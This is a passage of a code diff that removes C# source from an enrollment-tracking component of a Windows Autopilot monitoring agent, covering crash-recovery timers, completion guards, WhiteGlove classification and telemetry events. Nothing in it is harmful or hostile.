loaded.SkipUserStatusPage, loaded.AadJoinedWithUser); - smState = CompletionStateMachine.ReconstructStateFromFlags( - loaded.EnrollmentCompleteEmitted, loaded.IsWaitingForHello, - loaded.IsWaitingForEspSettle, loaded.EspFinalExitSeen, - loaded.DesktopArrived, loaded.EspEverSeen, isDeviceOnly); - _logger.Verbose($"EnrollmentTracker [SHADOW]: reconstructed state '{smState}' from boolean flags"); - } - _completionSm.RestoreState(smState, - loaded.EspEverSeen, loaded.EspFinalExitSeen, loaded.DesktopArrived, - loaded.IsWaitingForHello, loaded.IsWaitingForEspSettle, deferredSource: null); - } - catch (Exception ex) - { - _logger.Debug($"EnrollmentTracker [SHADOW ERROR]: state restoration failed: {ex.Message}"); - } - - _logger.Info($"EnrollmentTracker: state restored — espEverSeen={_espEverSeen}, espFinalExitSeen={_espFinalExitSeen}, desktopArrived={_desktopArrived}, lastEspPhase={_lastEspPhase}, enrollmentCompleteEmitted={_enrollmentCompleteEmitted}"); - - // Restart Hello wait timer if needed after crash recovery - if ((_desktopArrived || _espFinalExitSeen) && _espAndHelloTracker != null && !_espAndHelloTracker.IsHelloCompleted) - { - _logger.Info("EnrollmentTracker: restarting Hello wait timer after state recovery"); - _espAndHelloTracker.StartHelloWaitTimer(); - } - - // Restart safety timer if we were waiting for Hello — use remaining time, not full duration - if (_isWaitingForHello && !_enrollmentCompleteEmitted) - { - var remaining = WaitingForHelloSafetyTimeoutSeconds; - if (_stateData.WaitingForHelloStartedUtc.HasValue) - { - var elapsed = (DateTime.UtcNow - _stateData.WaitingForHelloStartedUtc.Value).TotalSeconds; - remaining = Math.Max(0, WaitingForHelloSafetyTimeoutSeconds - (int)elapsed); - } - - if (remaining <= 0) - { - _logger.Warning("EnrollmentTracker: waiting_for_hello safety timeout already expired during crash recovery — forcing completion now"); - _isWaitingForHello = false; - _waitingForHelloSafetyTimer?.Dispose(); - _waitingForHelloSafetyTimer = new Timer( - OnWaitingForHelloSafetyTimeout, - null, - TimeSpan.Zero, - TimeSpan.FromMilliseconds(-1)); - } - else - { - _logger.Info($"EnrollmentTracker: restarting waiting_for_hello safety timer after state recovery ({remaining}s remaining)"); - _waitingForHelloSafetyTimer?.Dispose(); - _waitingForHelloSafetyTimer = new Timer( - OnWaitingForHelloSafetyTimeout, - null, - TimeSpan.FromSeconds(remaining), - TimeSpan.FromMilliseconds(-1)); - } - } - - // Restart ESP settle timer if we were waiting — use remaining time, not full duration - if (_isWaitingForEspSettle && !_enrollmentCompleteEmitted) - { - var remaining = EspSettleTimeoutSeconds; - if (_stateData.WaitingForEspSettleStartedUtc.HasValue) - { - var elapsed = (DateTime.UtcNow - _stateData.WaitingForEspSettleStartedUtc.Value).TotalSeconds; - remaining = Math.Max(0, EspSettleTimeoutSeconds - (int)elapsed); - } - - if (remaining <= 0) - { - _logger.Warning("EnrollmentTracker: ESP settle timeout already expired during crash recovery — completing now"); - _isWaitingForEspSettle = false; - _waitingForEspSettleTimer?.Dispose(); - _waitingForEspSettleTimer = new Timer( - OnEspSettleTimerExpired, - null, - TimeSpan.Zero, - TimeSpan.FromMilliseconds(-1)); - } - else - { - _logger.Info($"EnrollmentTracker: restarting ESP settle timer after state recovery ({remaining}s remaining)"); - _waitingForEspSettleTimer?.Dispose(); - _waitingForEspSettleTimer = new Timer( - OnEspSettleTimerExpired, - null, - TimeSpan.FromSeconds(remaining), - TimeSpan.FromMilliseconds(-1)); - } - } - } - - private void RecordSignal(string signal) - { - bool added; - int count; - lock (_stateLock) - { - if (!_stateData.SignalsSeen.Contains(signal)) - { - _stateData.SignalsSeen.Add(signal); - added = true; - count = _stateData.SignalsSeen.Count; - } - else - { - added = false; - count = _stateData.SignalsSeen.Count; - } - _stateDirty = true; - } - - if (added) - _logger.Verbose($"EnrollmentTracker: signal recorded: '{signal}' (total: {count})"); - else - _logger.Debug($"EnrollmentTracker: signal '{signal}' already recorded — deduplicated"); - } - - /// - /// Returns a thread-safe snapshot of _stateData.SignalsSeen for use in event data. - /// - private List SnapshotSignalsSeen() - { - lock (_stateLock) - { - return new List(_stateData.SignalsSeen); - } - } - - // ===== Unified Completion Logic ===== - - /// - /// Central guard method for enrollment_complete emission. All completion paths route through here. - /// An _enrollmentCompleteEmitted flag prevents double emission. - /// Emits a throttled completion_check event on every call for observability. - /// - private void TryEmitEnrollmentComplete(string source) - { - if (string.IsNullOrEmpty(source)) - { - _logger.Debug("EnrollmentTracker: TryEmitEnrollmentComplete called with empty source — ignoring"); - return; - } - - // Atomically check all guards and claim the completion flag under a single lock. - // This prevents the critical double-emission race where two threads (e.g. OnHelloCompleted - // and OnWaitingForHelloSafetyTimeout) both read _enrollmentCompleteEmitted=false simultaneously. - bool helloResolved; - bool espGateBlocked; - bool hybridRebootGateBlocked; - bool alreadyEmitted; - string enrollmentType; - bool espEverSeen, espFinalExitSeen, desktopArrived; - bool isDeviceOnly, isSelfDeploying; - int? autopilotMode; - List signalsSeen; - - lock (_stateLock) - { - if (_enrollmentCompleteEmitted) - { - alreadyEmitted = true; - helloResolved = false; - espGateBlocked = false; - hybridRebootGateBlocked = false; - enrollmentType = _enrollmentType; - espEverSeen = _espEverSeen; - espFinalExitSeen = _espFinalExitSeen; - desktopArrived = _desktopArrived; - isDeviceOnly = IsDeviceOnlyDeployment; - isSelfDeploying = IsSelfDeploying; - autopilotMode = _autopilotMode; - signalsSeen = null; - } - else - { - alreadyEmitted = false; - enrollmentType = _enrollmentType; - espEverSeen = _espEverSeen; - espFinalExitSeen = _espFinalExitSeen; - desktopArrived = _desktopArrived; - isDeviceOnly = IsDeviceOnlyDeployment; - isSelfDeploying = IsSelfDeploying; - autopilotMode = _autopilotMode; - - helloResolved = _espAndHelloTracker == null - || _espAndHelloTracker.IsHelloCompleted - || !_espAndHelloTracker.IsPolicyConfigured - || isDeviceOnly; - - espGateBlocked = (source == "desktop_arrival" || source == "desktop_hello") - && _flowHandler.AppliesEspGateOnDesktopArrival && espEverSeen && !espFinalExitSeen; - - // GUARD 3: Hybrid Join reboot gate - // In hybrid join, ESP exit may be for a mid-enrollment reboot (domain user - // login required). Block esp_hello_composite unless we have stronger confirmation: - // - IME user session completed (strongest signal: IME says enrollment is done) - // - Agent restarted after ESP exit (reboot happened, we survived it) - hybridRebootGateBlocked = false; - if (_isHybridJoin && source == "esp_hello_composite") - { - bool hasImeCompletion = _stateData.ImePatternSeenUtc.HasValue; - bool agentRestartedAfterEspExit = _stateData.EspFinalExitUtc.HasValue - && _agentStartTimeUtc > _stateData.EspFinalExitUtc.Value; - - hybridRebootGateBlocked = !hasImeCompletion && !agentRestartedAfterEspExit; - } - - // If all guards pass, claim the flag atomically - if (helloResolved && !espGateBlocked && !hybridRebootGateBlocked) - { - _enrollmentCompleteEmitted = true; - _stateData.EnrollmentCompleteEmitted = true; - signalsSeen = new List(_stateData.SignalsSeen); - - // Stop recurring/watchdog timers under the SAME lock that claims - // the emission flag. Concurrent timer callbacks already past their - // own _enrollmentCompleteEmitted check will no-op further work; - // callbacks not yet past it will read flag=true and return. - // Change(Inf,Inf) is idempotent and deadlock-safe inside the lock; - // Dispose would wait on in-flight callbacks and is risky here. - _summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _summaryTimerActive = false; - _debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _debugStateTimerActive = false; - _deviceOnlyCompletionSafetyTimer?.Change(Timeout.Infinite, Timeout.Infinite); - } - else - { - signalsSeen = null; - } - } - } - - // All logging and event emission happens OUTSIDE the lock - if (alreadyEmitted) - { - _logger.Debug($"EnrollmentTracker: TryEmitEnrollmentComplete('{source}') — already emitted, skipping"); - return; - } - - _logger.Debug($"EnrollmentTracker: TryEmitEnrollmentComplete('{source}') — evaluating guards " + - $"[espEverSeen={espEverSeen}, espFinalExitSeen={espFinalExitSeen}, desktopArrived={desktopArrived}, " + - $"helloCompleted={_espAndHelloTracker?.IsHelloCompleted ?? false}, helloPolicyConfigured={_espAndHelloTracker?.IsPolicyConfigured ?? false}, " + - $"enrollmentType={enrollmentType}, autopilotMode={autopilotMode}, isSelfDeploying={isSelfDeploying}, isDeviceOnlyDeployment={isDeviceOnly}, " + - $"isHybridJoin={_isHybridJoin}]"); - - if (!helloResolved) - { - _logger.Info($"EnrollmentTracker: Completion source '{source}' ready but Hello still pending — not completing yet"); - EmitCompletionCheck(source, "hello_pending", "hello_not_resolved"); - return; - } - - if (espGateBlocked) - { - _logger.Info($"EnrollmentTracker: Completion source '{source}' blocked — ESP still active"); - EmitCompletionCheck(source, "blocked", "esp_active"); - return; - } - - if (hybridRebootGateBlocked) - { - _logger.Info($"EnrollmentTracker: Completion source '{source}' blocked — hybrid join reboot gate " + - $"(waiting for IME completion or agent restart after ESP exit)"); - EmitCompletionCheck(source, "blocked", "hybrid_reboot_gate"); - return; - } - - // GUARD 4: WhiteGlove Part 1 redirect — canonical classifier decision. - // All four WG decision sites go through WhiteGloveClassifier (this guard, - // OnDeviceSetupProvisioningComplete, OnFinalizingSetupPhaseTriggered esp_exiting, - // and the StateMachine), so decisions converge on the same rule. - // ShouldRouteToWhiteGlovePart1==true only on Strong confidence; Weak is - // observable telemetry but falls through to the regular completion path. - var wgSignals = SnapshotWhiteGloveSignals(); - var wgClassification = WhiteGloveClassifier.Classify(wgSignals); - EmitWhiteGloveClassification(wgClassification, "TryEmitEnrollmentComplete", wgSignals); - - if (wgClassification.ShouldRouteToWhiteGlovePart1) - { - _logger.Info($"EnrollmentTracker: all guards passed and WG classifier Strong — " + - $"redirecting to WhiteGlove Part 1 (source={source}, {wgClassification.Reason})"); - - EmitDecisionProcess("whiteglove_complete", source, "redirected_wg_part1", new List - { - $"original_source={source}", - $"wg_score={wgClassification.Score}", - $"wg_confidence={wgClassification.Confidence}", - }.Concat(wgClassification.ContributingFactors ?? new List()) - .Concat(new[] { "redirect: enrollment_complete -> whiteglove_complete" }) - .ToList(), - classification: wgClassification); - - // Decision is already recorded above — CompleteWhiteGlove must not emit a second one. - CompleteWhiteGlove(source, decisionAlreadyEmitted: true); - return; - } - - _logger.Info($"EnrollmentTracker: all guards passed for source '{source}' — emitting enrollment_complete " + - $"(wg_classifier: {wgClassification.Reason})"); - - // Emit decision process before the terminal event - EmitDecisionProcess("enrollment_complete", source, "succeeded", new List - { - $"source={source}", - helloResolved ? "hello_resolved" : "hello_bypassed", - espEverSeen ? $"esp_seen(finalExit={espFinalExitSeen})" : "esp_not_seen", - desktopArrived ? "desktop_arrived" : "desktop_not_arrived", - isDeviceOnly ? "device_only" : "user_driven", - _isHybridJoin ? "hybrid_join" : "aad_join", - wgSignals.HasSaveWhiteGloveSuccessResult ? "wg_registry_succeeded" : "no_wg_registry", - $"wg_score={wgClassification.Score}", - $"wg_confidence={wgClassification.Confidence}" - }, classification: wgClassification); - - // Timers were already stopped inside the lock when _enrollmentCompleteEmitted was claimed. - - var helloOutcome = _espAndHelloTracker?.HelloOutcome ?? "unknown"; - - // Snapshot timestamps under lock for consistent event data - Dictionary signalTimestamps; - lock (_stateLock) - { - signalTimestamps = new Dictionary(); - if (_stateData.EspFirstSeenUtc.HasValue) - signalTimestamps["espFirstSeen"] = _stateData.EspFirstSeenUtc.Value.ToString("o"); - if (_stateData.DesktopArrivedUtc.HasValue) - signalTimestamps["desktopArrived"] = _stateData.DesktopArrivedUtc.Value.ToString("o"); - if (_stateData.EspFinalExitUtc.HasValue) - signalTimestamps["espFinalExit"] = _stateData.EspFinalExitUtc.Value.ToString("o"); - if (_stateData.HelloResolvedUtc.HasValue) - signalTimestamps["helloResolved"] = _stateData.HelloResolvedUtc.Value.ToString("o"); - if (_stateData.ImePatternSeenUtc.HasValue) - signalTimestamps["imePatternSeen"] = _stateData.ImePatternSeenUtc.Value.ToString("o"); - if (_stateData.DeviceSetupProvisioningCompleteUtc.HasValue) - signalTimestamps["deviceSetupProvisioningComplete"] = _stateData.DeviceSetupProvisioningCompleteUtc.Value.ToString("o"); - } - - // Capture ESP provisioning snapshot for the enrollment_complete event (all sources) - Dictionary espProvisioningData = null; - if (_espAndHelloTracker != null) - { - var espSnapshot = _espAndHelloTracker.GetProvisioningSnapshot(); - if (espSnapshot != null) - { - espProvisioningData = new Dictionary - { - { "categoriesSeen", espSnapshot.CategoriesSeen }, - { "categoriesResolved", espSnapshot.CategoriesResolved }, - { "allResolved", espSnapshot.AllResolved }, - { "categoryOutcomes", espSnapshot.CategoryOutcomes }, - { "subcategoryStates", espSnapshot.SubcategoryStates } - }; - } - } - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "enrollment_complete", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Complete, - Message = $"Autopilot enrollment completed successfully (source: {source})", - Data = new Dictionary - { - { "completionSource", source }, - { "helloOutcome", helloOutcome }, - { "autopilotMode", autopilotMode?.ToString() ?? "unknown" }, - { "isSelfDeploying", isSelfDeploying }, - { "isDeviceOnlyDeployment", isDeviceOnly }, - { "signalsSeen", signalsSeen }, - { "signalTimestamps", signalTimestamps }, - { "agentUptimeSeconds", (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds }, - { "espProvisioningStatus", espProvisioningData } - }, - ImmediateUpload = true - }); - - // Write final status dump and enrollment complete marker - WriteFinalStatus("completed", source); - WriteEnrollmentCompleteMarker(); - - // Clean up persisted tracker state so next enrollment starts fresh - _imeLogTracker?.DeleteState(); - _statePersistence.Delete(); - } - - /// - /// Emits a throttled completion_check event for observability. - /// Max 1 event per minute per source to avoid flooding. - /// - private void EmitCompletionCheck(string source, string result, string reason) - { - // Throttle: max 1x per minute per source - var now = DateTime.UtcNow; - if (_lastCompletionCheckBySource.TryGetValue(source, out var lastEmit) && (now - lastEmit).TotalSeconds < 60) - return; - _lastCompletionCheckBySource[source] = now; - - Dictionary checkData; - lock (_stateLock) - { - checkData = new Dictionary - { - { "source", source }, - { "result", result }, - { "reason", reason }, - { "espEverSeen", _espEverSeen }, - { "espFinalExitSeen", _espFinalExitSeen }, - { "desktopArrived", _desktopArrived }, - { "helloResolved", _espAndHelloTracker?.IsHelloCompleted ?? false }, - { "helloPolicyConfigured", _espAndHelloTracker?.IsPolicyConfigured ?? false }, - { "enrollmentType", _enrollmentType }, - { "lastEspPhase", _lastEspPhase ?? "none" }, - { "skipUserStatusPage", _skipUserStatusPage?.ToString() ?? "unknown" }, - { "skipDeviceStatusPage", _skipDeviceStatusPage?.ToString() ?? "unknown" }, - { "autopilotMode", _autopilotMode?.ToString() ?? "unknown" }, - { "isSelfDeploying", IsSelfDeploying }, - { "isDeviceOnlyDeployment", IsDeviceOnlyDeployment }, - { "whiteGloveStartDetected", _espAndHelloTracker?.IsWhiteGloveStartDetected ?? false }, - { "saveWhiteGloveSuccessResult", _espAndHelloTracker?.HasSaveWhiteGloveSuccessResult ?? false }, - { "fooUserDetected", _fooUserDetected } - }; - } - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "completion_check", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Completion source '{source}' evaluated — {result}", - ImmediateUpload = true, - Data = checkData - }); - } - - /// - /// Emits a decision_process_completion event immediately before a terminal event - /// (enrollment_complete, whiteglove_complete, enrollment_failed). - /// Contains the full state machine snapshot, all signal timestamps, and the decision chain - /// that led to the outcome — enabling post-hoc analysis without reconstructing from individual events. - /// - private void EmitDecisionProcess(string terminalEvent, string source, string outcome, - List decisionChain = null, - WhiteGloveClassification classification = null) - { - Dictionary data; - lock (_stateLock) - { - // Full state machine snapshot - data = new Dictionary - { - // Decision metadata - { "terminalEvent", terminalEvent }, - { "completionSource", source }, - { "outcome", outcome }, - { "decisionChain", decisionChain ?? new List() }, - - // Core state variables - { "enrollmentType", _enrollmentType }, - { "autopilotMode", _autopilotMode?.ToString() ?? "unknown" }, - { "skipUserStatusPage", _skipUserStatusPage?.ToString() ?? "unknown" }, - { "skipDeviceStatusPage", _skipDeviceStatusPage?.ToString() ?? "unknown" }, - { "isHybridJoin", _isHybridJoin }, - { "isSelfDeploying", IsSelfDeploying }, - { "isDeviceOnlyDeployment", IsDeviceOnlyDeployment }, - - // ESP state - { "espEverSeen", _espEverSeen }, - { "espFinalExitSeen", _espFinalExitSeen }, - { "lastEspPhase", _lastEspPhase ?? "none" }, - - // Desktop & Hello state - { "desktopArrived", _desktopArrived }, - { "helloResolved", _espAndHelloTracker?.IsHelloCompleted ?? false }, - { "helloPolicyConfigured", _espAndHelloTracker?.IsPolicyConfigured ?? false }, - { "helloOutcome", _espAndHelloTracker?.HelloOutcome ?? "unknown" }, - - // WhiteGlove signals - { "whiteGloveStartDetected", _espAndHelloTracker?.IsWhiteGloveStartDetected ?? false }, - { "saveWhiteGloveSuccessResult", _espAndHelloTracker?.HasSaveWhiteGloveSuccessResult ?? false }, - { "fooUserDetected", _fooUserDetected }, - { "aadJoinedWithUser", _aadJoinedWithUser }, - - // Signal audit trail with timestamps - { "signalsSeen", new List(_stateData.SignalsSeen) }, - - // Agent context - { "agentUptimeSeconds", (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds }, - { "enrollmentCompleteAlreadyEmitted", _enrollmentCompleteEmitted }, - { "whiteGloveAlreadyTriggered", _signalCorrelatedWhiteGloveTriggered } - }; - - // Signal timestamps - var ts = new Dictionary(); - if (_stateData.EspFirstSeenUtc.HasValue) - ts["espFirstSeen"] = _stateData.EspFirstSeenUtc.Value.ToString("o"); - if (_stateData.DesktopArrivedUtc.HasValue) - ts["desktopArrived"] = _stateData.DesktopArrivedUtc.Value.ToString("o"); - if (_stateData.EspFinalExitUtc.HasValue) - ts["espFinalExit"] = _stateData.EspFinalExitUtc.Value.ToString("o"); - if (_stateData.HelloResolvedUtc.HasValue) - ts["helloResolved"] = _stateData.HelloResolvedUtc.Value.ToString("o"); - if (_stateData.ImePatternSeenUtc.HasValue) - ts["imePatternSeen"] = _stateData.ImePatternSeenUtc.Value.ToString("o"); - if (_stateData.DeviceSetupProvisioningCompleteUtc.HasValue) - ts["deviceSetupProvisioningComplete"] = _stateData.DeviceSetupProvisioningCompleteUtc.Value.ToString("o"); - data["signalTimestamps"] = ts; - - // WhiteGlove classifier output — same fields as the whiteglove_classification - // event so aggregate MCP queries can correlate terminal decisions with the - // scoring history across a session. - if (classification != null) - { - data["wgScore"] = classification.Score; - data["wgConfidence"] = classification.Confidence.ToString(); - data["wgFactors"] = classification.ContributingFactors ?? new List(); - } - } - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "decision_process_completion", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Decision: {terminalEvent} via {source} — {outcome}", - ImmediateUpload = true, - Data = data - }); - - _logger.Info($"EnrollmentTracker: decision_process_completion emitted — {terminalEvent} via {source} ({outcome})"); - } - - // ===================================================================== - // WhiteGlove classification helpers — see WhiteGloveClassifier for the - // scoring rules and thresholds. The three completion call-sites - // (OnDeviceSetupProvisioningComplete, TryEmitEnrollmentComplete, - // CompletionStateMachine.HandleDeviceSetupProvisioningComplete) all - // classify through the same classifier, so decisions converge. - // ===================================================================== - - /// - /// Snapshot current WhiteGlove-relevant state under _stateLock and return a - /// consumable for . - /// - private WhiteGloveSignals SnapshotWhiteGloveSignals() - { - lock (_stateLock) - { - var hasAccountSetup = _espAndHelloTracker?.HasAccountSetupActivity ?? false; - var hasSaveWg = _espAndHelloTracker?.HasSaveWhiteGloveSuccessResult ?? false; - var wgStart = _espAndHelloTracker?.IsWhiteGloveStartDetected ?? false; - - bool agentRestartedAfterEsp = _stateData.EspFinalExitUtc.HasValue - && _agentStartTimeUtc > _stateData.EspFinalExitUtc.Value; - - return new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = _shellCoreWhiteGloveFired, - HasSaveWhiteGloveSuccessResult = hasSaveWg, - IsWhiteGloveStartDetected = wgStart, - IsFooUserDetected = _fooUserDetected, - AgentRestartedAfterEspExit = agentRestartedAfterEsp, - - AadJoinedWithUser = _aadJoinedWithUser, - DesktopArrived = _desktopArrived, - HasAccountSetupActivity = hasAccountSetup, - - IsDeviceOnlyDeployment = IsDeviceOnlyDeployment, - - EspFinalExitUtc = _stateData.EspFinalExitUtc, - DeviceSetupProvisioningCompleteUtc = _stateData.DeviceSetupProvisioningCompleteUtc, - }; - } - } - - /// - /// Emits the observability-only whiteglove_classification event with the - /// full scoring breakdown. Enables MCP query_table queries like - /// "distribution of wgConfidence over last 24h" or "drill-down into Weak sessions" - /// without any backend schema change — all fields live inside the existing data bag. - /// - private void EmitWhiteGloveClassification( - WhiteGloveClassification c, - string callSite, - WhiteGloveSignals signals) - { - if (c == null) return; - - var data = new Dictionary - { - { "wgScore", c.Score }, - { "wgConfidence", c.Confidence.ToString() }, - { "callSite", callSite }, - { "shouldRouteToWg", c.ShouldRouteToWhiteGlovePart1 }, - { "factors", c.ContributingFactors ?? new List() }, - { "signals", new Dictionary - { - { "shellCoreWg", signals.ShellCoreWhiteGloveSuccess }, - { "hasSaveWg", signals.HasSaveWhiteGloveSuccessResult }, - { "event509", signals.IsWhiteGloveStartDetected }, - { "fooUser", signals.IsFooUserDetected }, - { "agentRestartAfterEsp", signals.AgentRestartedAfterEspExit }, - { "aadJoined", signals.AadJoinedWithUser }, - { "desktopArrived", signals.DesktopArrived }, - { "accountSetupActive", signals.HasAccountSetupActivity }, - { "deviceOnly", signals.IsDeviceOnlyDeployment }, - } - }, - }; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "whiteglove_classification", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"WG classification at {callSite}: {c.Confidence} (score={c.Score})", - ImmediateUpload = false, - Data = data, - }); - } - - /// - /// Called by CollectorCoordinator when the - /// detects a transient provisioning placeholder user (foouser@/autopilot@). Updates - /// _fooUserDetected so the WhiteGloveClassifier sees the positive indicator - /// on the next classification call. Does NOT re-trigger completion — placeholder - /// alone is not a terminal signal. - /// - public void NotifyAadPlaceholderUserDetected(string userEmail) - { - bool alreadyDetected; - lock (_stateLock) - { - if (_enrollmentCompleteEmitted) return; - - alreadyDetected = _fooUserDetected; - if (!alreadyDetected) - { - _fooUserDetected = true; - _stateData.FooUserDetected = true; - } - } - - if (alreadyDetected) - { - _logger.Debug("EnrollmentTracker: NotifyAadPlaceholderUserDetected — already detected, ignoring"); - return; - } - - _statePersistence.Save(_stateData); - RecordSignal("aad_placeholder_user_detected_late"); - _logger.Info("EnrollmentTracker: late placeholder user detected — recording for classifier"); - - var secondsSinceStart = (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds; - EmitTraceEvent("aad_placeholder_user_detected_late", - "Transient AAD provisioning placeholder user appeared in JoinInfo registry", - new Dictionary - { - { "secondsSinceAgentStart", secondsSinceStart }, - { "emailPattern", userEmail?.Split('@')[0] ?? "unknown" }, - }); - } - - /// - /// Called by CollectorCoordinator when the - /// detects a real AAD user join (non-placeholder) during the session. Updates - /// _aadJoinedWithUser atomically so subsequent WhiteGloveClassifier calls - /// correctly see the real user (driving IsDeviceOnlyDeployment to false and - /// triggering the classifier's hard-exclude). - /// - /// - /// This is NOT a completion trigger. In a user-driven v1 flow the real AAD user - /// appears at the START of AccountSetup (when the user signs in), not at the end — - /// firing completion here would short-circuit ESP. The signal only flips classifier - /// state away from device-only/WhiteGlove; completion continues to flow through the - /// standard paths (ime_pattern / esp_hello_composite / desktop_hello), each of which - /// enforces its own ESP and Hello gates. - /// - public void NotifyAadUserJoinedLate(string userEmail) - { - bool alreadyJoined; - bool alreadyEmitted; - lock (_stateLock) - { - alreadyEmitted = _enrollmentCompleteEmitted; - alreadyJoined = _aadJoinedWithUser; - if (!alreadyJoined && !alreadyEmitted) - { - _aadJoinedWithUser = true; - _stateData.AadJoinedWithUser = true; - } - } - - if (alreadyEmitted) - { - _logger.Debug("EnrollmentTracker: NotifyAadUserJoinedLate — enrollment already emitted, ignoring"); - return; - } - if (alreadyJoined) - { - _logger.Debug("EnrollmentTracker: NotifyAadUserJoinedLate — already joined, ignoring"); - return; - } - - _statePersistence.Save(_stateData); - RecordSignal("aad_user_joined_late"); - _logger.Info($"EnrollmentTracker: late AAD user joined ({userEmail}) — classifier state updated"); - - var secondsSinceStart = (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds; - EmitTraceEvent("aad_user_joined_late", - "Real AAD user appeared in JoinInfo registry after session started", - new Dictionary - { - { "secondsSinceAgentStart", secondsSinceStart }, - { "userEmailDomain", userEmail?.Contains("@") == true ? userEmail.Substring(userEmail.IndexOf('@')) : "unknown" }, - }); - } - - /// - /// Called by MonitoringService when Desktop Arrival is detected (explorer.exe under a real user). - /// Corrects phase if needed, starts Hello wait timer in no-ESP scenarios, and attempts completion. - /// - public void NotifyDesktopArrived() - { - bool alreadyArrived; - lock (_stateLock) - { - alreadyArrived = _desktopArrived; - if (!alreadyArrived) - { - _desktopArrived = true; - _stateData.DesktopArrived = true; - _stateData.DesktopArrivedUtc = DateTime.UtcNow; - } - } - - if (alreadyArrived) - { - _logger.Debug("EnrollmentTracker: NotifyDesktopArrived called but already arrived — ignoring"); - return; - } - - _statePersistence.Save(_stateData); // Immediate persist — desktop arrival is completion-critical - RecordSignal("desktop_arrived"); - _logger.Info("EnrollmentTracker: Desktop arrival notified"); - - // Phase correction and SkipUserStatusPage handling when ESP was seen. - // SkipUserStatusPage check is prioritized over phase correction because in WhiteGlove Part 2, - // _lastEspPhase may already be "AccountSetup" (persisted from Part 1) which would otherwise - // skip the SkipUser block and leave _espFinalExitSeen=false, blocking the desktop-arrival gate. - bool espSeen; - string previousPhase; - bool? skipUserPage; - bool espFinalExit; - lock (_stateLock) - { - espSeen = _espEverSeen; - previousPhase = _lastEspPhase ?? "unknown"; - skipUserPage = _skipUserStatusPage; - espFinalExit = _espFinalExitSeen; - } - - if (espSeen) - { - if (skipUserPage == true && !espFinalExit) - { - lock (_stateLock) - { - _lastEspPhase = "FinalizingSetup"; - _stateData.LastEspPhase = "FinalizingSetup"; - _espFinalExitSeen = true; - _stateData.EspFinalExitSeen = true; - _stateData.EspFinalExitUtc = DateTime.UtcNow; - _hasAutoSwitchedToAppsPhase = false; - } - _statePersistence.Save(_stateData); // Immediate persist — EspFinalExitUtc critical for hybrid reboot gate - RecordSignal("desktop_arrived_skip_user"); - _logger.Info($"EnrollmentTracker: Desktop arrival with SkipUserStatusPage=true — skipping AccountSetup, transitioning to FinalizingSetup (was: {previousPhase})"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "DesktopArrivalDetector", - Phase = EnrollmentPhase.FinalizingSetup, - Message = $"ESP phase: FinalizingSetup (SkipUserStatusPage — desktop arrival, was: {previousPhase})", - Data = new Dictionary - { - { "espPhase", "FinalizingSetup" }, - { "autoDetected", true }, - { "correctedBy", "desktop_arrival" }, - { "previousPhase", previousPhase }, - { "skipUserStatusPage", true } - }, - ImmediateUpload = true - }); - - try { CollectDeviceInfoAtFinalizingSetup("desktop_arrived_skip_user"); } - catch (Exception ex) { _logger.Warning($"EnrollmentTracker: final device info collection failed (desktop_arrived_skip_user): {ex.Message}"); } - } - else if (!string.Equals(previousPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - { - // Normal flow: desktop arrival confirms AccountSetup phase - lock (_stateLock) { _lastEspPhase = "AccountSetup"; } - _logger.Info($"EnrollmentTracker: Desktop arrival confirmed AccountSetup phase (was: {previousPhase}) — phase corrected on timeline"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "DesktopArrivalDetector", - Phase = EnrollmentPhase.AccountSetup, - Message = $"ESP phase: AccountSetup (auto-detected from desktop arrival, was: {previousPhase})", - Data = new Dictionary - { - { "espPhase", "AccountSetup" }, - { "autoDetected", true }, - { "correctedBy", "desktop_arrival" }, - { "previousPhase", previousPhase } - }, - ImmediateUpload = true - }); - } - } - - // Start Hello wait timer ONLY when ESP is NOT actively running. - // During active ESP (AccountSetup runs in background with desktop visible), - // the Hello timer must wait until ESP exits (started in OnFinalizingSetupPhaseTriggered). - // Without this guard, Hello timeout-resolves while ESP still installs apps → premature completion. - // Device-only deployment: no user session, Hello is irrelevant — skip timer entirely. - bool espSeenNow, espFinalExitNow, isDeviceOnlyNow; - lock (_stateLock) - { - espSeenNow = _espEverSeen; - espFinalExitNow = _espFinalExitSeen; - isDeviceOnlyNow = IsDeviceOnlyDeployment; - } - - if (_espAndHelloTracker != null && !_espAndHelloTracker.IsHelloCompleted - && (!espSeenNow || espFinalExitNow) - && !isDeviceOnlyNow) - { - _logger.Info("EnrollmentTracker: Desktop arrived with Hello pending (no active ESP) — starting Hello wait timer"); - _espAndHelloTracker.StartHelloWaitTimer(); - } - - TryEmitEnrollmentComplete("desktop_arrival"); - - // Shadow state machine: track desktop_arrived trigger - ShadowProcessTrigger("desktop_arrived"); - } - - /// - /// Called when the device-only ESP timer expires. If no AccountSetup phase started - /// and desktop is available, classify as device-only ESP and mark final exit. - /// - private void OnDeviceOnlyEspTimerExpired(object state) - { - string lastPhaseSnap; - bool desktopArrSnap; - lock (_stateLock) - { - lastPhaseSnap = _lastEspPhase; - desktopArrSnap = _desktopArrived; - } - - // AccountSetup started meanwhile? Timer is obsolete - if (string.Equals(lastPhaseSnap, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - { - 